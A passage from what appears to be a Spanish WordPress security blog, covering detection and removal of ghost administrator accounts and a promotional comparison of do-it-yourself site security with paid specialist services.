    La mayoría de exploits que permiten crear usuarios explotan vulnerabilidades conocidas ya parcheadas. Un sistema desactualizado es una invitación. Configura actualizaciones automáticas o revisa semanalmente.

    5. Usa un WAF (Firewall de Aplicación Web)

    Servicios como Sucuri WAF o Cloudflare filtran solicitudes maliciosas antes de que lleguen a WordPress, bloqueando inyecciones SQL, RFI, y otros vectores de creación de usuarios.

    6. Monitorea logs de acceso

    Habilita logging en WordPress (WP_DEBUG_LOG en wp-config.php) y revisa regularmente quién intenta qué. En servidor, revisa los logs de Apache/Nginx en busca de patrones sospechosos.

    7. Cambia el prefijo de tablas de WordPress

    En wp-config.php, cambia de «wp_» a algo como «wpx2024_». Dificulta ataques por SQL injection dirigidos a tablas específicas. Hazlo antes de instalar, o usa plugins como Brute Force Login Protection.

    Caso práctico: Cómo detecté un admin fantasma en 5 minutos

    Hace poco, un cliente me contactó porque su sitio estaba siendo lento y veía tráfico extraño en Google Search Console. Accedí al panel, fui a Usuarios, y vi:

    • «support_admin» creado hace 3 meses (el cliente no recordaba crearla).
    • Email: support.admin@gmail.com (nada a ver con su dominio).
    • Rol: Administrador completo.
    • Cero posts publicados.

    Elimiué la cuenta. Luego revisé plugins recientes y encontré un constructor de páginas desactualizado (CVE-2022-XXXXX) que permitía crear usuarios sin autenticación. Actualicé, instalé Wordfence WAF, y configuré 2FA.

    Resultado: tráfico malicioso desapareció en 48 horas, y la velocidad volvió a la normalidad.

    Qué hacer si ya tienes cuentas fantasma (auditoría completa)

    Si has identificado usuarios sospechosos, no es suficiente eliminarlos. Necesitas una limpieza profunda:

    1. Cambia todas las contraseñas de administrador y usuarios con acceso.
    2. Revisa plugins recientes en busca de backdoors o código modificado.
    3. Ejecuta un escaneo de malware con Wordfence o MalCare.
    4. Analiza logs para ver cuándo se creó la cuenta y desde qué IP.
    5. Revisa la tabla wp_usermeta en busca de campos sospechosos o datos de sesión extraños.
    6. Haz un backup limpio DESPUÉS de eliminar todas las cuentas fantasma.
    7. Implementa las medidas preventivas que mencioné arriba.

    Herramientas y recursos para la detección automatizada

    Si prefieres no hacer esto manualmente, aquí están las soluciones que más utilizo:

    • Wordfence Security: Escanea usuarios maliciosos, monitorea cambios en tiempo real.
    • MalCare: Detección específica de backdoors y usuarios sospechosos.
    • Sucuri SiteCheck: Análisis en nube, incluye auditoría de usuarios.
    • WP-CLI: Gratuito, requiere acceso SSH pero es muy potente.

    En mi experiencia, una combinación de Wordfence + revisión manual mensual es imbatible.

    Preguntas frecuentes sobre usuarios fantasma

    ¿Puedo tener un admin fantasma sin saber cómo entró? Sí, completamente. Los vectores son variados: plugins antigüos, credenciales débiles, o incluso una contraseña compartida con alguien de confianza que luego fue comprometida.

    ¿Un usuario fantasma puede crear otro usuario? Sí, es una práctica común. El atacante crea múltiples cuentas como redundancia, así si detectas una, todavía tiene acceso a través de otra.

    ¿Cómo sé si el admin soy yo mismo y he olvidado? Comprueba tus registros de email. WordPress envía un correo cada vez que se crea una cuenta de administrador. Si no está en tu bandeja, no eres tú.

    ¿Debo avisar a Google Search Console si encontré usuarios fantasma? Sí. Si el atacante usó el sitio para spam SEO, declara el incidente a Google y solicita una revisión manual una vez limpio.

    ¿Los usuarios fantasma dejan rastro en logs? Sí, pero depende de la configuración. Asegúrate de habilitar logging en wp-config.php: define(‘WP_DEBUG’, true); define(‘WP_DEBUG_LOG’, true);

    Lo que recomiendo como próximo paso

    Si tienes un WordPress o PrestaShop y nunca has auditado tus usuarios administrador, hazlo hoy. Es la tarea de 5 minutos más importante que puedes hacer por tu seguridad.

    Si encuentras algo sospechoso, no improvises. Una eliminación incorrecta puede romper funcionalidades, y un análisis incompleto puede dejar puertas abiertas. Por eso siempre digo: detecta tú mismo para estar alerta, pero consulta a un profesional para la remediación completa.

    En ManuelFolgar.com/contacto ofrecemos auditorías de usuarios, detección de backdoors, y hardening completo de WordPress y PrestaShop. Si sospechas que tienes una infección, cuéntanos y hacemos un análisis sin compromiso.

  • Qué diferencia hay entre autoservicio y contratación de seguridad WordPress especializada

    Qué diferencia hay entre autoservicio y contratación de seguridad WordPress especializada

    Autoservicio vs. Seguridad WordPress Especializada: Entendiendo tus opciones reales

    Cuando te enfrentas a la necesidad de proteger tu WordPress, tienes dos caminos muy distintos por recorrer. Uno es intentar hacerlo tú mismo usando herramientas gratuitas o de bajo coste; el otro es contratar a un especialista en seguridad web como nosotros en ManuelFolgar.com. En mi experiencia auditando cientos de sitios comprometidos, la mayoría de los administradores que optaron por autoservicio terminaron aprendiendo esta lección de la manera más cara: después de que sus sitios fueron hackeados.

    Pero no quiero ser pesimista. Quiero que entiendas exactamente qué diferencia hay, qué puedes y no puedes hacer tú mismo, y cuándo necesitas ayuda profesional. Es una decisión importante y merece análisis honesto.

    ¿Qué es el autoservicio en seguridad WordPress?

    Por autoservicio entiendo: instalar un plugin de seguridad como Wordfence o All In One WP Security, configurar algunos parámetros básicos, cambiar contraseñas, mantener WordPress actualizado, y esperar que «algo» no te suceda. Es lo que hace el 90% de los administradores de pequeños sitios.

    El autoservicio tiene un atractivo evidente: es barato (muchos plugins son gratuitos), está en tu control, y parece suficiente para la mayoría de casos. Pero aquí está lo que no ves:

    • Falsa sensación de seguridad: Un plugin activado no equivale a sitio protegido. Es como tener una alarma en la puerta pero ninguna cerradura en las ventanas.
    • Configuración por defecto: Los plugins gratuitos vienen con configuraciones genéricas. No se adaptan a tus vulnerabilidades específicas, a tu arquitectura, a tus plugins terceros problemáticos.
    • Sin análisis forense: Si ya estás comprometido (y muchos lo están sin saberlo), un plugin no detectará backdoors bien escondidos o código inyectado en los archivos temáticos.
    • Sin respuesta ante incidentes: Si mañana descubres que estás hackeado, ¿qué haces? ¿Dónde llamas? El plugin no te dirá qué atacante fue, cómo entró, o qué datos robó.

    ¿Qué es la seguridad WordPress especializada?

    Cuando contratas a un profesional como yo, estás contratando:

    • Auditoría técnica exhaustiva: Análisis manual y automatizado de tu código, configuración de servidor, permisos de archivos, dependencias de plugins, historiales de acceso.
    • Detección de compromisos ocultos: Búsqueda de backdoors, webshells, malware injertado en archivos temáticos, código ofuscado, cuentas administrativas fantasma.
    • Hardening contextualizado: No «parches genéricos», sino configuración específica: cambio de prefijo de tablas SQL, protección de wp-config.php, reglas .htaccess contra inyección SQL, deshabilitar edición de archivos, limitar intentos de login, implementar 2FA en roles críticos, configurar CSP (Content Security Policy) y HSTS según tu arquitectura.
    • Remediación profesional: Si hay malware, no solo se elimina: se investiga la cadena de ataque, se parchean las vulnerabilidades que permitieron la intrusión, se auditan logs para determinar alcance del daño.
    • Respuesta ante incidentes: Soporte reactivo: cuando algo sucede, hay alguien disponible que sabe qué hacer, quién llamar si es necesario, cómo minimizar daños y recuperar datos.

    Diferencias concretas en detección de malware

    Aquí es donde veo la brecha más grande. Imagina que un atacante ha inyectado un webshell en wp-content/uploads/2024/01/image.php.sus. Un plugin de seguridad básico:

    • Tal vez lo detecte si está en su base de datos de firmas (pero esas actualizaciones son lentas).
    • Probablemente no entienda por qué llegó ahí ni cómo parchear la vulnerabilidad que lo permitió.
    • Podría eliminarlo, pero si la causa raíz no se corrige, reaparece en 48 horas.

    Un profesional especializado:

    • Revisa logs de acceso web (access.log) para ver exactamente cuándo y desde qué IP se subió ese archivo.
    • Analiza qué plugin o tema tiene una vulnerabilidad de subida de archivos no autorizada.
    • Examina si hay otros backdoors implantados con técnicas de obfuscación (rot13, base64, variables dinámicas).
    • Determina el alcance: ¿cuántos archivos comprometidos hay? ¿Se accedió a la base de datos? ¿Se exfiltró información?
    • Parchea la vulnerabilidad raíz, elimina el malware, fortalece permisos de carpetas, implementa WAF rules específicas.

    La diferencia entre «borrar un archivo» y «remediación profesional» puede ser la diferencia entre un sitio que vuelve a comprometerse en una semana y uno que permanece seguro durante años.

    Coste total de propiedad (TCO)

    Aquí es donde muchos administradores se equivocan al calcular. Piensas: «Wordfence Pro son 99€/año, mucho más barato que contratar a alguien». Pero veamos la realidad:

    Autoservicio (estimación realista):

    • Plugin de seguridad: 99€/año (Wordfence Pro) o 0€ (versión gratuita con funciones limitadas).
    • Tu tiempo manteniendo WordPress, plugins, temas: 3-5 horas/mes = 36-60 horas/año. En coste de oportunidad: 1.800-3.000€/año si valoras tu tiempo a 50€/hora.
    • Downtime por incidentes no detectados a tiempo: 6-48 horas/incidente × 2-3 incidentes/año = potencial pérdida de ingresos significativa.
    • Recuperación de desastres DIY: si necesitas restaurar desde backup, pueden ser 8-16 horas de trabajo manual.
    • Coste anual estimado: 2.000-4.000€ en tiempo + riesgo de pérdida de negocio.

    Seguridad profesional (estimación realista):

    • Auditoría inicial de seguridad: 400-800€ (única, permite establecer baseline).
    • Monitoreo + hardening continuo: 150-300€/mes según tamaño del sitio.
    • Respuesta ante incidentes: incluida en el plan o 200-500€/incidente (mucho menos que DIY + pérdida de datos).
    • Tu tiempo: casi cero. Tú te dedicas a tu negocio, nosotros al nuestro.
    • Coste anual estimado: 2.200-4.400€, pero con garantía técnica, respuesta rápida, y cero riesgo operacional.

    ¿Ves? El precio no es tan diferente. Pero la tranquilidad mental es infinitamente superior con profesionales.

    Qué SÍ puedes hacer tú mismo (realista)

    No quiero hacerte creer que necesitas contratar para nada. Hay cosas esenciales que debes hacer, con o sin ayuda profesional:

    • Mantener WordPress, plugins y temas actualizados: Esto es 80% de la batalla. Una copia antigua de WooCommerce o Elementor es explotación garantizada.
    • Usar contraseñas fuertes y únicas: Especialmente en admin. Un gestor de contraseñas como Bitwarden es gratis y evita reutilización.
    • Limitar acceso a wp-admin: Usa un plugin para bloquear intentos de login fallidos (Wordfence gratuito lo hace bien).
    • Backups automáticos: Un plugin como UpdraftPlus (versión gratuita) es suficiente para backups a Google Drive semanales. No es caro, no es difícil.
    • Eliminar plugins/temas inactivos: No tengas temas nulleados o plugins pirateados «por si acaso». Son vectores de ataque puros.
    • Usar SSL/HTTPS: Debería ser obligatorio en 2024. Si tu hosting no lo incluye, cambia de hosting.

    Estas acciones reducen tu riesgo de forma significativa. Pero no eliminan el riesgo de un ataque dirigido, una vulnerabilidad zero-day, o un actor de amenazas profesional.

    Qué NO deberías intentar tú mismo

    Basándome en años analizando daños colaterales:

    • Investigación forense de un compromiso: Si crees que estás hackeado, parar en seco y tocar archivos puede destruir evidencia. Necesitas metodología. Necesitas alguien que sepa leer logs, analizar código ofuscado, usar herramientas especializadas.
    • Cambios de configuración de servidor (php.ini, .htaccess avanzado): Una regla mal escrita puede dejar tu sitio fuera de línea. Necesitas expertise.
    • Remediación de malware profundo: Si hay backdoors persistentes, webshells, o inyección de código en archivos del core, un malware casero puede no detectarlo. Los profesionales usamos herramientas como Wordfence CLI, MalCare, análisis manual de ASTs (Abstract Syntax Trees) para detectar código malicioso ofuscado.
    • Compliance legal (RGPD, LSSI-CE, etc.): Si necesitas certificar que tu sitio cumple regulaciones de privacidad o seguridad, requiere documentación y auditoría profesional. Un plugin no te da eso.

    Señales de que necesitas ayuda profesional ahora

    No esperes a que sea una crisis. Busca especialistas si:

    • Tu sitio ha sido hackeado alguna vez (incluso «limpiado» tú mismo).
    • Tienes más de 5 plugins activos de terceros no verificados.
    • Usas temas o plugins nulleados (pirateados) o descargados de sitios no oficiales.
    • No sabes cuándo fue la última vez que actualizaste WordPress o qué versión tienes.
    • Tu sitio recopila datos sensibles (pagos, información personal, RGPD) y no tienes auditoría de seguridad documentada.
    • Tu sitio es crítico para tu negocio y no puedes permitirte 24 horas de downtime.
    • Recibiste notificación de Google Search Console sobre malware o spam inyectado.

    Cómo elegir entre autoservicio y especialista

    Una matriz simple:

    Opta por autoservicio si:

    • Es un sitio de hobby, blog personal, sin datos sensibles.
    • Tienes conocimiento técnico intermedio o superior de WordPress.
    • Puedes dedicar 4-8 horas/mes a mantenimiento.
    • Tu presupuesto es menor a 100€/año.

    Opta por especialista si:

    • Tu sitio genera ingresos (ecommerce, SaaS, membresía).
    • Recopila datos de clientes o tiene requisitos de compliance.
    • Ya has tenido un incidente de seguridad.
    • No tienes tiempo o habilidad para mantenimiento técnico.
    • Necesitas documentación y auditoría para cumplimiento normativo.
    • Valoras la tranquilidad mental más que 300€/mes.

    Un enfoque híbrido es posible

    Y aquí viene mi recomendación real: no es un «o/o». Puede ser un «y».

    Muchos clientes hacen esto:

    1. Contratan una auditoría de seguridad inicial profesional (500-800€, única).
    2. Implementan el hardening recomendado (lo hacemos nosotros o enseñamos a tu técnico).
    3. Instalan Wordfence Pro o un plugin similar para monitoreo cotidiano.
    4. Se suscriben a un plan de monitoreo + respuesta ante incidentes de bajo coste (100-200€/mes) en lugar de auditoría completa periódica.
    5. Si sucede algo, tienen respuesta garantizada en horas.

    Este enfoque cuesta 1.700-3.200€/año pero te da lo mejor de ambos mundos: control autónomo en lo cotidiano, expertise profesional cuando lo necesitas.

    Herramientas complementarias (autoservicio)

    Si decides ir solo, al menos usa:

    Conclusión: Es una inversión en riesgo, no un gasto

    La diferencia fundamental es esta: el autoservicio es reactividad esperanzada. La seguridad profesional es proactividad garantizada. Uno cuesta menos dinero pero más tiempo y riesgo. Otro cuesta dinero pero cero riesgo operacional.

    En mi experiencia, los sitios hackeados que veo no fueron víctimas de «malos suerte». Fueron víctimas de negligencia calculada: eligieron ahorrar 200€/mes y perdieron 50.000€ en downtime, limpieza forense, recuperación de datos, y daño reputacional.

    ¿Cuál es tu tolerancia al riesgo? Esa es la única pregunta que importa.

    Si decides que necesitas ayuda profesional, en ManuelFolgar.com/contacto realizamos auditorías de seguridad especializadas, remediación de malware, y planes de hardening continuo. Trabajamos con sitios WordPress y PrestaShop de todos los tamaños. La primera consulta es gratuita; sin obligación.